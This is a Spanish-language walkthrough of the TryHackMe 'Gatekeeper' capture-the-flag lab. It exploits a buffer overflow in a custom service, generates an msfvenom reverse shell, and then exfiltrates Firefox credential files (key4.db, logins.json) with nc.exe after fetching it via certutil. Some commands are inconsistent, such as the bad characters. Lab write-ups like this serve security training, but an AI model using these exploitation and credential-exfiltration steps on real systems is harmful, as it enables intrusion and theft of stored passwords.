Gatekeeper
Resolución de la Máquina Gatekeeper de TryHackMe de dificultad media abordando contenido de Buffer overflow.
¡Saludos a tod@s!,
En este artículo mostraré la resolución de la máquina Gatekeeper.
Enumeración
Comprobamos que la máquina esté activa.
ping -c1 10.10.20.222
PING 10.10.20.222 (10.10.20.222) 56(84) bytes of data.
64 bytes from 10.10.20.222: icmp_seq=1 ttl=127 time=45.4 ms
--- 10.10.20.222 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.424/45.424/45.424/0.000 ms
Relizamos un escaneo de nmap para ver lor servicios y puertos expuestos de la máquina, en este caso debemos fijarnos en el puerto 445.
sudo nmap -sS --min-rate 5000 -n -v -p- 10.10.20.222
[sudo] contraseña para shadoow:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 12:10 CEST
Initiating Ping Scan at 12:10
Scanning 10.10.20.222 [4 ports]
Completed Ping Scan at 12:10, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:10
Scanning 10.10.20.222 [65535 ports]
Discovered open port 445/tcp on 10.10.20.222
Discovered open port 135/tcp on 10.10.20.222
Discovered open port 3389/tcp on 10.10.20.222
Discovered open port 139/tcp on 10.10.20.222
Discovered open port 49153/tcp on 10.10.20.222
Discovered open port 49154/tcp on 10.10.20.222
Discovered open port 49161/tcp on 10.10.20.222
Discovered open port 49167/tcp on 10.10.20.222
Discovered open port 31337/tcp on 10.10.20.222
Discovered open port 49155/tcp on 10.10.20.222
Discovered open port 49152/tcp on 10.10.20.222
Completed SYN Stealth Scan at 12:10, 13.95s elapsed (65535 total ports)
Nmap scan report for 10.10.20.222
Host is up (0.043s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
31337/tcp open Elite
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49161/tcp open unknown
49167/tcp open unknown
Con SMBMap
podemos descargarnos un ejecutable.
smbmap -H 10.10.20.222 -u guest -r Users/Share
[+] IP: 10.10.20.222:445 Name: 10.10.20.222
Disk Permissions Comment
---- ----------- -------
Users READ ONLY
.\UsersShare\*
dr--r--r-- 0 Fri May 15 03:58:07 2020 .
dr--r--r-- 0 Fri May 15 03:58:07 2020 ..
fr--r--r-- 13312 Fri May 15 03:58:07 2020 gatekeeper.exe
~ ❯ smbmap -H 10.10.20.222 -u guest --download Users/Share/gatekeeper.exe
[+] Starting download: Users\Share\gatekeeper.exe (13312 bytes)
[+] File output to: /home/shadoow/10.10.20.222-Users_Share_gatekeeper.exe
Buffer Overflow
Testeamos con python para comprobar si se produce un desbordamiento.
print "A" * 300


Creamos un patrón cíclico con msfpattern y lo aplicamos a la variable “payload”.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Con mona encontramos el offset exacto del EIP.

Modificando el exploit, en la variable offset = 146 y en la variable retn = BBBB , podemos ver que tenemos el control def flujo sobre esa instrucción.
import socket
ip = "10.0.3.5"
port = 31337
offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
Con !mona
generamos un bytearray para encontrar los badchars.

Con python los generamos y los ponemos en la variable “payload”.
Script Badchars:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()

Encontramos los bad chars, en este caso son \x00
y \x0a
.

Buscamos los puntos de salto para ello podemos usar la siguiente sintaxis con mona.
!mona jmp -r esp -cpb "\x00\xa0"
0x080414c3 -> \xc3\x14\x04\x08

Generamos una reverse shell con msfvenom, y lo agregamos a la variable “payload”.
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.37.230 LPORT=1234 -b "\x00\x0a" -f python EXITFUNC=thread -v payload
nc -lvnp 1234
Escalada de privilegios
Explorando la máquina y haciendo un poco de investigación vemos que “ljfn812a.default-release
” es un directorio que puede guardar credenciales guardadas en el navegador.
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
Para poder transferirnos los archivos nos podemos descargar nc.exe y nos lo pasamos a la máquina Windows con certutil.
https://eternallybored.org/misc/netcat/
certutil -f -urlcache http://<IP:Port>/recurso.exe <recurso_nombre.exe>
En windows:
nc.exe -nv 10.11.37.230 12345 < key4.db
nc.exe -nv 10.11.37.230 12345 < logins.json
En nuestro kali:
nc -lvnp 12345 > key4.db
nc -lvnp 12345 > logins.json
Nos descargamos firepwd.py, es una herramienta que nos permite extraer las credenciales guardadas de un navegador con los archivos transferidos anteriormente.
Nos pasamos los archivos descargados anteriormente a la carpeta “firepwd”.
https://github.com/lclevy/firepwd
instalamos lo requirements
pip install -r requirements.txt
python3 firepwd.py
Lo ejecutamos:

Accedemos por RDP y obtenemos la flag.
xfreerdp /u:mayor /p:'***************' /cert:ignore /v:10.10.20.222

Última actualización